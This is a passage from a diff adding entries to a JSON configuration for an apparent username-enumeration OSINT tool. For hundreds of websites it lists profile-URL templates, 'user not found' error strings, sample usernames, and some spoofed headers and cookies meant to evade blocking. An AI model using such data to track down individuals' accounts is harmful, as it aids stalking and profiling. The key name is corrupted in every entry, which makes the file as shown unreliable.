"🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://vas3k.club/user/{}/", + "urlMain": "https://vas3k.club", + "usernameON": "zahhar", + "bad_site": "" + }, + "VC": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "message\":\"\",\"result\":{\"items\":[],\"lastId\":null", + "errorMsg2": "lastSortingValue\":0,\"total\":0", + "errorTyp��": "message", + "url": "https://vc.ru/discovery?q={}", + "urlMain": "https://vc.ru", + "urlProbe": "https://api.vc.ru/v2.51/search/subsites?q={}&type=1&page=0", + "usernameON": "yuliya", + "headers": { + "Accept-Language": "ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", + "DNT": "1", + "Priority": "u=1", + "Connection": "keep-alive", + "Sec-Fetch-Dest": "document", + "Sec-Fetch-Mode": "navigate", + "Sec-Fetch-Site": "none", + "Sec-Fetch-User": "?1", + "Sec-GPC": "1", + "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:127.0) Gecko/20100101 Firefox/127.0" + }, + "bad_site": "" + }, + "Vegascreativesoftware": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Whatever you're looking for.", + "errorMsg2": "VEGAS Community | vegascreativesoftware.info", + "errorTyp��": "message", + "url": "https://www.vegascreativesoftware.info/us/users/profile/{}/", + "urlMain": "https://www.vegascreativesoftware.info", + "usernameON": "adam", + "comments": "ZAK_user", + "bad_site": 1 + }, + "Velocat": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих сообщений не найдено", + "errorMsg2": "<title>ВЕЛОСАЙТ - Информация", + "errorTyp��": "message", + "url": "https://velocat.ru/velo/phpBB3/search.php?keywords={}&type=type-special", + "urlMain": "https://velocat.ru", + "usernameON": "blue", + "bad_site": "" + }, + "Velomania": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://forum.velomania.ru/member.php?username={}", + "urlMain": "https://forum.velomania.ru/", + "usernameON": "red", + "bad_site": "" + }, + "Velosamara": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Не найдено ни одного пользователя по заданным критериям", + "errorMsg2": "0 пользователей", + "errorTyp��": "message", + "url": "http://velosamara.ru/forum/memberlist.php?username={}", + "urlMain": "http://velosamara.ru", + "usernameON": "Morbo", + "bad_site": "" + }, + "Venera": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 результатов", + "errorMsg2": "Результатов поиска нет", + "errorTyp��": "message", + "url": "https://venera.one/search/?q={}&type=core_members", + "urlMain": "https://venera.one", + "usernameON": "adam", + "comments": "old", + "bad_site": 1 + }, + "Venmo": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "https://venmo.com/{}", + "urlMain": "https://venmo.com/", + "usernameON": "jenny", + "comments": "RUblock", + "bad_site": "" + }, + "Vero": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Error Page - VERO™ – True Social", + "errorMsg2": "class=\"_not-found-page", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://vero.co/{}", + "urlMain": "https://vero.co", + "usernameON": "lilyherbertson", + "bad_site": "" + }, + "Vezha": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://vezha.com/members/?username={}", + "urlMain": "https://vezha.com/", + "usernameON": "red", + "bad_site": "" + }, + "Vgtimes": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "не найден", + "errorMsg2": "Сайт сейчас", + "errorMsg3": "<div id='dle-content'></div>", + "errorTyp��": "message", + "url": "https://vgtimes.ru/user/{}/", + "urlMain": "https://vgtimes.ru", + "comments": "cf", + "usernameON": "Raumkua", + "bad_site": "" + }, + "Vidamora": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "<title>Meet , in", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.vidamora.com/profile/{}", + "urlMain": "https://www.vidamora.com", + "usernameON": "adam", + "bad_site": "" + }, + "Video_ploud": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://video.ploud.jp/accounts/{}/video-channels", + "urlMain": "https://video.ploud.jp", + "usernameON": "lwflouisa", + "bad_site": "" + }, + "Videoforums": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "content=\"noindex,follow", + "errorTyp��": "message", + "url": "http://videoforums.ru/member.php?username={}", + "urlMain": "http://videoforums.ru", + "usernameON": "carlo", + "bad_site": "" + }, + "Videogamegeek": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "<title>Profile | VideoGameGeek", + "errorMsg2": "Error: User does not exist.", + "errorMsg3": "not found", + "errorTyp��": "message", + "url": "https://videogamegeek.com/user/{}", + "urlMain": "https://videogamegeek.com", + "usernameON": "adam", + "bad_site": 1 + }, + "Videohive": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://videohive.net/user/{}", + "urlMain": "https://videohive.net", + "usernameON": "zedbadley", + "bad_site": "" + }, + "Videosift": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "You Seem Lost", + "errorMsg2": "Not Found", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://videosift.com/member/{}", + "urlMain": "https://videosift.com", + "usernameON": "adam", + "comments": "cf", + "bad_site": 1 + }, + "Vimeo": { + "country": "🌎", + "country_klas": "WR", + "exclusion": "[а-яА-Я]", + "errorTyp��": "status_code", + "url": "https://vimeo.com/{}", + "urlMain": "https://vimeo.com/", + "usernameON": "blue", + "bad_site": "" + }, + "Virgool": { + "country": "🇮🇷", + "country_klas": "IR", + "errorMsg": "۴۰۴", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://virgool.io/@{}", + "urlMain": "https://virgool.io/", + "usernameON": "blue", + "comments": "cf", + "bad_site": 1 + }, + "Virtualireland": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "VirtualIreland.ru - Виртуальная Ирландия", + "errorTyp��": "message", + "exclusion": "[а-яА-Я]", + "url": "https://www.virtualireland.ru/member.php?username={}", + "urlMain": "https://www.virtualireland.ru", + "usernameON": "Lee", + "bad_site": "" + }, + "Vishivalochka": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://vishivalochka.ru/index/8-0-{}", + "urlMain": "http://vishivalochka.ru", + "usernameON": "Caliopa", + "comments": "Oplata", + "bad_site": "" + }, + "Vivino": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://www.vivino.com/users/{}", + "urlMain": "https://www.vivino.com/", + "usernameON": "adam", + "bad_site": "" + }, + "VK": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "response_url", + "url": "https://vk.com/{}", + "urlMain": "https://vk.com/", + "usernameON": "smith", + "bad_site": "" + }, + "Vkaline": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "content=\"noindex,follow", + "errorTyp��": "message", + "url": "http://www.vkaline.ru/forum/member.php?username={}", + "urlMain": "http://www.vkaline.ru", + "usernameON": "Varelik", + "comments": "old", + "bad_site": 1 + }, + "Vkrugudrusey": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "\\W", + "errorTyp��": "response_url", + "url": "http://{}.vkrugudrusey.ru/x/blog/all/", + "urlMain": "http://vkrugudrusey.ru", + "usernameON": "irina", + "comments": "Archive", + "bad_site": 1 + }, + "Vlab": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "<title>Информация", + "errorTyp��": "message", + "url": "https://vlab.su/search.php?keywords=&terms=all&author={}", + "urlMain": "https://vlab.su", + "usernameON": "Sword93", + "bad_site": "" + }, + "Vladimirka": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "http://www.vladimirka.ru/board/profile/{}", + "urlMain": "http://www.vladimirka.ru", + "usernameON": "anyazxc1", + "bad_site": "" + }, + "Vladmama": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "<title>Информация |", + "errorTyp��": "message", + "url": "https://vladmama.ru/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "https://vladmama.ru", + "usernameON": "Lenok2803", + "bad_site": "" + }, + "Vlmi": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "<title>Упс! Мы столкнулись с некоторыми проблемами. | VLMI Интернет-безопасность, обмен приватной информацией", + "errorMsg2": "Полезные пользователи | VLMI Интернет-безопасность, обмен приватной информацией", + "errorTyp��": "message", + "url": "https://vlmi.biz/members/?username={}", + "urlMain": "https://vlmi.biz", + "usernameON": "mixa", + "comments": "old", + "bad_site": 1 + }, + "Voices": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://www.voices.com/actors/{}", + "urlMain": "https://www.voices.com/", + "usernameON": "adam", + "bad_site": "" + }, + "Voicesevas": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "http://voicesevas.ru/user/{}/", + "urlMain": "http://voicesevas.ru", + "usernameON": "adam", + "bad_site": "" + }, + "Volga-gaz": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "http://volga-gaz.nnov.ru/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "http://volga-gaz.nnov.ru", + "usernameON": "serg6033", + "bad_site": "" + }, + "Volkodavcaoko": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "профиль забанен или удален", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://volkodavcaoko.forum24.ru/?32-{}", + "urlMain": "https://volkodavcaoko.forum24.ru", + "usernameON": "itaka", + "bad_site": "" + }, + "Volkswagen": { + "country": "🇺🇦", + "country_klas": "UA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "http://volkswagen.lviv.ua/members/?username={}", + "urlMain": "http://volkswagen.lviv.ua", + "usernameON": "scirocco", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Volleybox": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "response_url", + "url": "https://volleybox.net/ru/user/{}", + "urlMain": "https://volleybox.net", + "usernameON": "volleyjerseys", + "comments": "cf", + "bad_site": "" + }, + "Votetags": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Page not found", + "errorMsg2": "<body class=\"archive author\">", + "errorTyp��": "message", + "url": "https://www.votetags.info/author/{}/", + "urlMain": "https://www.votetags.info/", + "usernameON": "safeclothes", + "bad_site": "" + }, + "VSCO": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "https://vsco.co/{}", + "urlMain": "https://vsco.co/", + "usernameON": "blue", + "bad_site": "" + }, + "Vse": { + "country": "🇰🇿", + "country_klas": "KZ", + "errorMsg": "Поиск не дал результатов", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://vse.kz/index.php?app=core&module=search&do=search&andor_type=members&search_app_filters[members][members][sortKey]=date&search_term={}&search_app=members&search_app_filters[members][searchInKey]=members&search_app_filters[members][members][sortKey]=date&search_app_filters[members][members][sortDir]=1", + "urlMain": "https://vse.kz", + "usernameON": "vturekhanov", + "comments": "old_feb_2025", + "bad_site": 1 + }, + "Vulengate": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.vulengate.com/members/?username={}", + "urlMain": "https://www.vulengate.com", + "usernameON": "dmanskits", + "comments": "cf", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Vulgo_rolka": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "По вашему запросу ничего не найдено", + "errorMsg2": "Информация", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://vulgo.rolka.me/search.php?action=search&keywords=&author={}", + "urlMain": "https://vulgo.rolka.me", + "usernameON": "tania25297", + "bad_site": "" + }, + "Vyshyvanka": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Користувача не знайдено", + "errorMsg2": "403 Forbidden", + "errorMsg3": "User not found", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://vyshyvanka.ucoz.ru/index/8-0-{}", + "urlMain": "https://vyshyvanka.ucoz.ru", + "usernameON": "Sirena", + "bad_site": "" + }, + "Vzvd": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://vzvd.ru/forum/index.php?p=/profile/{}", + "urlMain": "https://vzvd.ru", + "usernameON": "Troll", + "bad_site": "" + }, + "W3challs": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "404 Page not found – W3Challs Hacking Challenges", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://w3challs.com/profile/{}", + "urlMain": "https://w3challs.com/", + "usernameON": "adam", + "bad_site": "" + }, + "W3schools": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "problem", + "errorMsg2": "0 results", + "errorTyp��": "message", + "url": "https://w3schools.invisionzone.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://w3schools.invisionzone.com", + "usernameON": "DubaiSouthVillas", + "comments": "cf", + "bad_site": "" + }, + "W7forums": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "The specified member cannot be found. Please enter a member's entire name.", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://www.w7forums.com/members/?username={}", + "urlMain": "https://www.w7forums.com", + "usernameON": "adam", + "bad_site": "" + }, + "Wakatime": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://wakatime.com/@{}", + "urlMain": "https://wakatime.com", + "usernameON": "adam", + "bad_site": "" + }, + "Wanelo": { + "country": "🇺🇸", + "country_klas": "US", + "exclusion": "\\W|[а-я-А-Я]", + "errorTyp��": "status_code", + "url": "https://wanelo.co/{}", + "urlMain": "https://wanelo.co", + "usernameON": "adam", + "comments": "old", + "bad_site": 1 + }, + "Warcraft3ft": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://warcraft3ft.clan.su/index/8-0-{}", + "urlMain": "https://warcraft3ft.clan.su", + "usernameON": "Inods", + "bad_site": "" + }, + "Warhammercommunity": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://warhammercommunity.com/forum/members/?username={}", + "urlMain": "https://warhammercommunity.com", + "usernameON": "harleyquinn", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Warriorforum": { + "country": "🇦🇺", + "country_klas": "AU", + "errorTyp��": "status_code", + "url": "https://www.warriorforum.com/members/{}.html", + "urlMain": "https://www.warriorforum.com/", + "usernameON": "blue", + "bad_site": "" + }, + "Wasm": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://wasm.in/members/?username={}", + "urlMain": "https://wasm.in", + "usernameON": "entropy", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Wattpad": { + "country": "🇨🇦", + "country_klas": "CA", + "errorMsg": "userError-404", + "errorMsg2": "Why do I have to complete a CAPTCHA?", + "errorTyp��": "message", + "url": "https://www.wattpad.com/user/{}", + "urlMain": "https://www.wattpad.com/", + "usernameON": "Dogstho7951", + "bad_site": "" + }, + "Wc3": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://wc3.3dn.ru/index/8-0-{}", + "urlMain": "http://wc3.3dn.ru", + "usernameON": "Terror", + "bad_site": "" + }, + "Weasyl": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://www.weasyl.com/~{}", + "urlMain": "https://www.weasyl.com", + "usernameON": "adam", + "bad_site": "" + }, + "Webhamster": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "По вашему запросу ничего не найдено.", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://webhamster.ru/punbb/userlist.php?username={}", + "urlMain": "https://webhamster.ru", + "usernameON": "adam", + "bad_site": "" + }, + "Weblancer": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "response_url", + "url": "https://www.weblancer.net/users/{}/", + "urlMain": "https://www.weblancer.net", + "usernameON": "alraa", + "bad_site": "" + }, + "Webonrails": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://webonrails.ru/user/{}/", + "urlMain": "https://webonrails.ru", + "usernameON": "rediska", + "comments": "old", + "bad_site": 1 + }, + "WebOS": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://webos-forums.ru/search.php?keywords=&terms=all&author={}&sc=1&sf=msgonly&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA", + "urlMain": "https://webos-forums.ru", + "usernameON": "tessi", + "bad_site": "" + }, + "Weburg": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": ">К сожалению в разделе", + "errorMsg2": "Ê ñîæàëåíèþ â ðàçäåëå", + "errorMsg3": "ничего не найдено", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://weburg.net/search?where=10&search=1&q={}", + "urlMain": "https://weburg.net", + "usernameON": "adam", + "comments": "Oplata", + "bad_site": "" + }, + "Weedmaps": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Find Marijuana Dispensaries, Brands, Delivery, Deals & Doctors", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://weedmaps.com/brands/{}", + "urlMain": "https://weedmaps.com", + "usernameON": "adams", + "bad_site": "" + }, + "Weforum": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "World Economic Forum", + "errorMsg2": "404: Page cannot", + "errorTyp��": "message", + "url": "https://www.weforum.org/people/{}", + "urlMain": "https://www.weforum.org", + "usernameON": "adam-leismark", + "headers": { + "Accept-Language": "ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", + "DNT": "1", + "Priority": "u=1", + "Connection": "keep-alive", + "Sec-Fetch-Dest": "document", + "Sec-Fetch-Mode": "navigate", + "Sec-Fetch-Site": "none", + "Sec-Fetch-User": "?1", + "Sec-GPC": "1", + "Cookie": "SUB=_2AkMQFRkHf8NxqwFRmf4WyW7haIt_ywnEieKmSejcJRMxHRl-yT9kqkpStRB6O5U36I0wj1ke-VrTHS_G3IfYEdZRb2jF", + "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:127.0) Gecko/20100101 Firefox/127.0" + }, + "bad_site": "" + }, + "Wego_social": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "response_url", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://wego.social/{}", + "urlMain": "https://wego.social", + "usernameON": "CRHoman", + "bad_site": "" + }, + "Weld": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "<title>Сварочный Форум", + "errorTyp��": "message", + "url": "https://weld.in.ua/forum/member.php/?username={}", + "urlMain": "https://weld.in.ua", + "usernameON": "red", + "bad_site": "" + }, + "Wfts": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Ошибка: игрок не найден", + "errorMsg2": "Warface TrueSight | Профиль игрока не существует", + "errorMsg3": "не существует", + "errorTyp��": "message", + "url": "https://wfts.su/profile/{}", + "urlMain": "https://wfts.su/", + "usernameON": "%D0%9B%D0%90%D0%A0%D0%A0%D0%9830", + "bad_site": "" + }, + "Whitewaterguidebook": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.whitewaterguidebook.com/forums/users/{}/", + "urlMain": "https://www.whitewaterguidebook.com", + "usernameON": "justincarson", + "bad_site": "" + }, + "Whonix": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No results found.", + "errorMsg2": "| Cloudflare", + "errorMsg3": "search":"{\\"posts\\":[],\\"users\\":[],\\"categories", + "errorTyp��": "message", + "url": "https://forums.whonix.org/search?expanded=true&q=%40{}", + "urlMain": "https://forums.whonix.org/", + "usernameON": "red", + "bad_site": "" + }, + "Whyislam": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Не найдено", + "errorMsg2": "0 пользоват", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.whyislam.to/forum/memberlist.php?username={}", + "urlMain": "https://www.whyislam.to/", + "usernameON": "adam", + "headers": { + "Accept-Language": "ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", + "DNT": "1", + "Priority": "u=1", + "Connection": "keep-alive", + "Sec-Fetch-Dest": "document", + "Sec-Fetch-Mode": "navigate", + "Sec-Fetch-Site": "none", + "Sec-Fetch-User": "?1", + "Sec-GPC": "1", + "Cookie": "SUB=_2AkMQFRkHf8NxqwFRmf4WyW7haIt_ywnEieKmSejcJRMxHRl-yT9kqkpStRB6O5U36I0wj1ke-VrTHS_G3IfYEdZRb2jF", + "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:127.0) Gecko/20100101 Firefox/127.0" + }, + "bad_site": "" + }, + "Wickeditor": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum.wickeditor.com/u/{}/summary", + "urlMain": "https://forum.wickeditor.com", + "usernameON": "jayanimatic", + "bad_site": "" + }, + "Wikidot": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "User does not exist.", + "errorMsg2": "Wikidot is not available in Russia", + "errorTyp��": "message", + "url": "http://www.wikidot.com/user:info/{}", + "urlMain": "http://www.wikidot.com/", + "usernameON": "blue", + "comments": "RUblock", + "bad_site": "" + }, + "Wikigrib": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "<title>Энциклопедия грибов «ВикиГриб»", + "errorMsg2": "pagetitle\">Ваша страница", + "errorTyp��": "message", + "url": "https://wikigrib.ru/author/{}/", + "urlMain": "https://wikigrib.ru", + "usernameON": "sergeym", + "bad_site": "" + }, + "Wikihow": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "https://www.wikihow.com/Author/{}", + "urlMain": "https://www.wikihow.com", + "usernameON": "Ikaika-Cox", + "bad_site": "" + }, + "Wikiloc": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://www.wikiloc.com/wikiloc/findPeople.do?name={}", + "urlMain": "https://www.wikiloc.com", + "usernameON": "LosK2delasKumbres", + "bad_site": "" + }, + "Wikimapia": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "", + "errorMsg2": "", + "errorTyp��": "message", + "exclusion": "[а-яА-Я]", + "url": "http://wikimapia.org/user/tools/users_rating/?username={}", + "urlMain": "http://wikimapia.org", + "usernameON": "adam", + "bad_site": "" + }, + "Wikipedia": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "is not registered", + "errorMsg2": "Wikipedia does not have", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.wikipedia.org/wiki/User:{}", + "urlMain": "https://www.wikipedia.org/", + "usernameON": "Zanuda_petro", + "bad_site": "" + }, + "Wikipediocracy": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Sorry but you cannot use", + "errorMsg2": "No suitable matches were found.", + "errorMsg3": "Information", + "errorTyp��": "message", + "url": "https://wikipediocracy.com/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "https://wikipediocracy.com", + "usernameON": "Anroth", + "bad_site": "" + }, + "Wikiquote": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://ru.wikiquote.org/wiki/%D0%A3%D1%87%D0%B0%D1%81%D1%82%D0%BD%D0%B8%D0%BA:{}", + "urlMain": "https://ru.wikiquote.org", + "usernameON": "Zwyciezca", + "bad_site": "" + }, + "Wikivoyage": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://ru.wikivoyage.org/wiki/%D0%A3%D1%87%D0%B0%D1%81%D1%82%D0%BD%D0%B8%D0%BA:{}", + "urlMain": "https://ru.wikivoyage.org", + "usernameON": "Savh", + "bad_site": "" + }, + "Wiktionary": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://ru.wiktionary.org/w/index.php?title=%D0%A3%D1%87%D0%B0%D1%81%D1%82%D0%BD%D0%B8%D0%BA:{}&action=view", + "urlMain": "https://ru.wiktionary.org", + "usernameON": "Merdiginn", + "bad_site": "" + }, + "Wild-nature": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Наши авторы | Дикая природа в фотографиях и рассказах", + "errorMsg2": "Страница не найдена", + "errorTyp��": "message", + "url": "http://www.wild-nature.ru/users/{}", + "urlMain": "http://www.wild-nature.ru", + "usernameON": "lana75", + "bad_site": "" + }, + "Wimkin": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://wimkin.com/{}", + "urlMain": "https://wimkin.com", + "usernameON": "JRourke", + "bad_site": "" + }, + "Windows10forums": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "url": "https://www.windows10forums.com/members/?username={}", + "urlMain": "https://www.windows10forums.com/", + "usernameON": "adam", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Windowsforum": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "url": "https://windowsforum.com/members/?username={}", + "urlMain": "https://windowsforum.com", + "usernameON": "adam", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Windy": { + "country": "🇨🇿", + "country_klas": "CZ", + "errorTyp��": "status_code", + "url": "https://community.windy.com/user/{}", + "urlMain": "https://windy.com/", + "usernameON": "blue", + "comments": "ZAK_user", + "bad_site": 1 + }, + "Wineberserkers": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.wineberserkers.com/u/{}/summary", + "urlMain": "https://www.wineberserkers.com", + "usernameON": "ybarselah", + "bad_site": "" + }, + "Winnipegwatch": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "was not found.", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://winnipegwatch.websitetoolbox.com/search?keywords=&searchin=message&member={}&do=findposts&id=&replies=atleast&numreplies=0&daterange=0&custdatefrom=&custdateto=&sort=&order=desc&radio_showas=threads&btnSearch=Search&action=doSearch", + "urlMain": "https://winnipegwatch.websitetoolbox.com", + "usernameON": "Prevost12", + "comments": "cf", + "bad_site": 1 + }, + "Wireclub": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "response_url", + "url": "https://www.wireclub.com/users/{}", + "urlMain": "https://www.wireclub.com", + "usernameON": "adam", + "bad_site": "" + }, + "Wiscobourbon": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://wiscobourbon.com/forums/users/{}/", + "urlMain": "https://wiscobourbon.com", + "usernameON": "lbourbonlover123", + "bad_site": "" + }, + "Wishlistr": { + "country": "🇸🇪", + "country_klas": "SE", + "errorMsg": "robots\" content=\"noindex, nofollow", + "errorMsg2": "Page Not Found", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.wishlistr.com/profile/{}", + "urlMain": "https://www.wishlistr.com", + "usernameON": "adam", + "bad_site": "" + }, + "Witchnest": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Domain Error Page", + "errorMsg2": "Страница не найдена", + "errorMsg3": ";", + "errorTyp��": "message", + "url": "https://witchnest.ru/user/{}/", + "urlMain": "https://witchnest.ru", + "comments": "super", + "usernameON": "Polina", + "bad_site": "" + }, + "Wittyprofiles": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "It looks like you are looking for something that isn't here.", + "errorMsg2": "QT Media 404", + "errorTyp��": "message", + "url": "http://www.wittyprofiles.com/author/{}", + "urlMain": "http://www.wittyprofiles.com/", + "usernameON": "adam", + "bad_site": "" + }, + "Wix": { + "country": "🌎", + 